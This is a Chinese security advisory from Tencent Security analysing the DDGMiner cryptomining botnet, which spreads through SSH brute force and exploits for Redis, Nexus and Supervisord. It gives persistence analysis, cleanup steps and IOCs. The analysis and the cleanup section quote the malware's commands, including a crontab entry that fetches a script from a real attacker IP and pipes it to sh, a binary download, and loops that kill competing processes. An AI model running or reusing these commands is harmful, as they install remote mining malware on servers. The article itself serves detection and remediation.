关于ZAKER 融媒体解决方案 合作 加入

警惕:DDG 挖矿僵尸网络利用 SSH 爆破攻击 Linux 服务器

一、背景

腾讯安全专家在为某企业客户进行例行安全巡检过程中,发现客户部署的腾讯御界高级威胁检测系统出现了 SSH 服务失陷感知信息。在征得客户同意后对客户机器进行远程取证,并结合御界的关键日志进行分析,我们发现这是一起针对 SSH 服务器弱口令爆破攻击事件,由于发现及时,工程师及时协助客户进行隔离及杀毒,并未造成损失。

腾讯安全御见威胁情报中心对本次攻击事件展开调查,结果发现,这是由大型挖矿僵尸网络 DDGMiner 发起的攻击事件。DDGMiner 是最早于 2017 年被发现的挖矿僵尸网络,其特点为扫描攻击 SSH 服务、Redis 数据库和 OrientDB 数据库等服务器,并在攻陷的服务器上植入挖矿木马挖掘门罗币获利。从病毒服务器的目录中 last modified 字段可以看到,本次攻击中样本的更新时间为 2019-08-29,目前为 4004 版本。

对样本进行分析后,发现与此前版本不同的是,样本中新增了针对 Nexus Repository Manager 漏洞、Supervisord 漏洞的利用攻击代码,其攻击流程大致如下:

根据腾讯云鼎实验室监测数据,云上主机遭受来自最新版本 DDGMiner 的攻击流量从 2019.08.29 开始出现,在 8 月 30 日到达峰值,8 月 31 日到 9 月 1 日下降到一定范围之后趋于平稳。大部分攻击流量被有效拦截。而在少量失陷主机中,90% 以上遭到 SSH 弱口令爆破入侵,由此可见 DDGMiner 的主要传播方式仍然为 SSH 爆破。腾讯安全提醒企业用户务必使用高强度的 SSH、Redis 登录密码,避免因设置不当而遭受攻击造成不必要的损失。

二、详细分析

黑客在通过弱口令爆破或漏洞攻击入侵后首先下载 Shell 脚本 i.sh,并将其安装为 crontab 定时任务每 15 分钟执行一次。

mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo "*/15 * * * * ( /usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh ) | sh" >> /var/spool/cron/root cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

然后检测是否已经存在进程 nfosfa4,若存在则杀死进程并删除对应的文件,然后从服务器下载 ddgs.$ ( uname -m ) 保存为 nfosfa4,其中 uname – m 用来获取系统类型并映射到文件名。最后通过 chmod +x 给 nfosfa4 赋予可执行权限,从而完成木马的下载更新。

ps auxf | grep -v grep | grep nfosfa4 || rm -rf nfosfa4 if [ ! -f "nfosfa4" ] ; then curl -fsSL -m1800 http://68.183.140.39/static/4004/ddgs.$ ( uname -m ) -o nfosfa4||wget -q -T1800 http://68.183.140.39/static/4004/ddgs.$ ( uname -m ) -O nfosfa4 fi chmod +x nfosfa4

接着查找并杀死多个历史版本的病毒进程,进程名分别为 nfosbcb、nfosbcc、nfosbcd、nfosbce、nfosfa0、nfosfa1、nfosfa2。

ps auxf | grep -v grep | grep nfosbcb | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosbcc | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosbcd | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosbce | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosfa0 | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosfa1 | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosfa2 | awk '{print $2}' | xargs kill -9

然后启动病毒的最新版本 nfosfa4,病毒被存放于以下四个目录之一。

/usr/bin/nfosfa4 /usr/libexec/nfosfa4 /usr/local/bin/nfosfa4 /tmp/nfosfa4

nfosfa4 是采用 golang 语言开发,编译成基于 Linux 的 ELF 可执行文件,并且采用 UPX 加壳保护。golang 语言是一款开源编程系统,其优点为简单可靠,支持夸平台编译等。golang 语言非常适合服务器编程、分布式系统和数据库相关的网络编程,而 DDGMiner 恰好符合这些特点。

为了便于分析,我们通过 Linux 下的 UPX 脱壳工具进行脱壳,然后使用 IDAGolangHelper 脚本在 IDA 中对函数进行重命名。处理之后可以比较清晰的看到样本中漏洞攻击、挖矿、清除挖矿竞品等功能。

在还原后的函数中,可以看到针对 SSH 爆破、以及针对 Redis 服务器、Supervisord 服务器、Nexus Repository Manager 服务器的漏洞利用攻击代码。

样本还使用了 hashicorp 的 go 开源库 memberlist 来构建分布式网络,memberlist 是用来管理分布式集群内节点发现、节点失效探测、节点列表的开源程序 ( github: https://github.com/hashicorp/memberlist ) 。样本初次到达受害机时,会获取本地节点的地址和状态信息,然后尝试连接到内置的 ip 列表中的远端节点从而加入远端的集群。

memberlist 利用被称为 " 疫情传播算法 " 的 Gossip 协议在僵尸网络集群中同步数据。Gossip 过程由种子节点发起,当一个种子节点有状态需要更新到网络中的其他节点时,它就会随机的选择周围几个节点散播消息,收到消息的节点也会重复该过程,直至最终网络中所有的节点都收到了消息。病毒通过这个过程将某个节点上获得更新的挖矿木马和攻击脚本同步到所有节点。

最后,在挖矿功能部分,通过 main_ptr_miner_Download 函数下载,main_ptr_miner_Update 更新,main_ptr_miner_CheckMd5 校验矿机 Md5 值,以及通过 main_ptr_miner_Run 启动矿机,并且通过调用 main_ptr_miner_killOtherMiner 对其他挖矿木马进行清除。

三、安全建议

1、 使用高强度的 Redis 登陆密码、SSH 登陆密码 , 必要时添加防火墙规则避免其他非信任来源 ip 访问。

2、 及时修复 Redis、Nexus Repository Manager、Supervisord 服务相关的高危漏洞。

3、已中毒的 linux 服务器可采用以下手动清理方案。

a ) 、crontab 如果如果包含以下内容,进行清理:

"*/15 * * * * ( /usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh ) | sh"

b ) 、/var/spool/cron/root 文件,如果包含以下内容,进行清理:

"*/15 * * * * ( /usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh ) | sh"

c ) 、/var/spool/cron/crontabs/root 文件,如果包含以下内容,进行清理:

"*/15 * * * * ( /usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh ) | sh"

d ) 、删除以下文件

/usr/bin/nfosfa4 /usr/libexec/nfosfa4 /usr/local/bin/nfosfa4 /tmp/nfosfa4 /usr/bin/betsbcc /usr/libexec/betsbcc /usr/local/bin/betsbcc /tmp/betsbcc /usr/bin/brhjbcc /usr/libexec/brhjbcc /usr/local/bin/brhjbcc /tmp/brhjbcc

e ) 删除 /tmp 目录下文件

qW3xT, qW3xT.1, qW3xT.2, qW3xT.3, qW3xT.4, ddgs.3010, ddgs.3011, ddgs.3013, ddgs.3016, 2t3ik, 2t3ik.m, 2t3ik.p, 2t3ik.s, imWBR1, imWBR1.ig, wnTKYg, wnTKYg.noaes, fmt.3018

IOCs

IP

68.183.140.39

URL

hxxp://68.183.140.39:8000/static/4004/ddgs.x86_64

hxxp://68.183.140.39:8000/static/4004/ddgs.i686

hxxp://68.183.140.39:8000/i.sh

MD5

bdfa1c43b3e03880d718609af3b9648f

76309d50ad8412954ca87355274bd8ff

4f0ef26b713d28469d08a8a833339e77

参考链接:

https://blog.netlab.360.com/fast-analyze-ddg-v3021-and-v3022/

以上内容由"嘶吼RoarTalk"上传发布 查看原文

觉得文章不错,微信扫描分享好友

扫码分享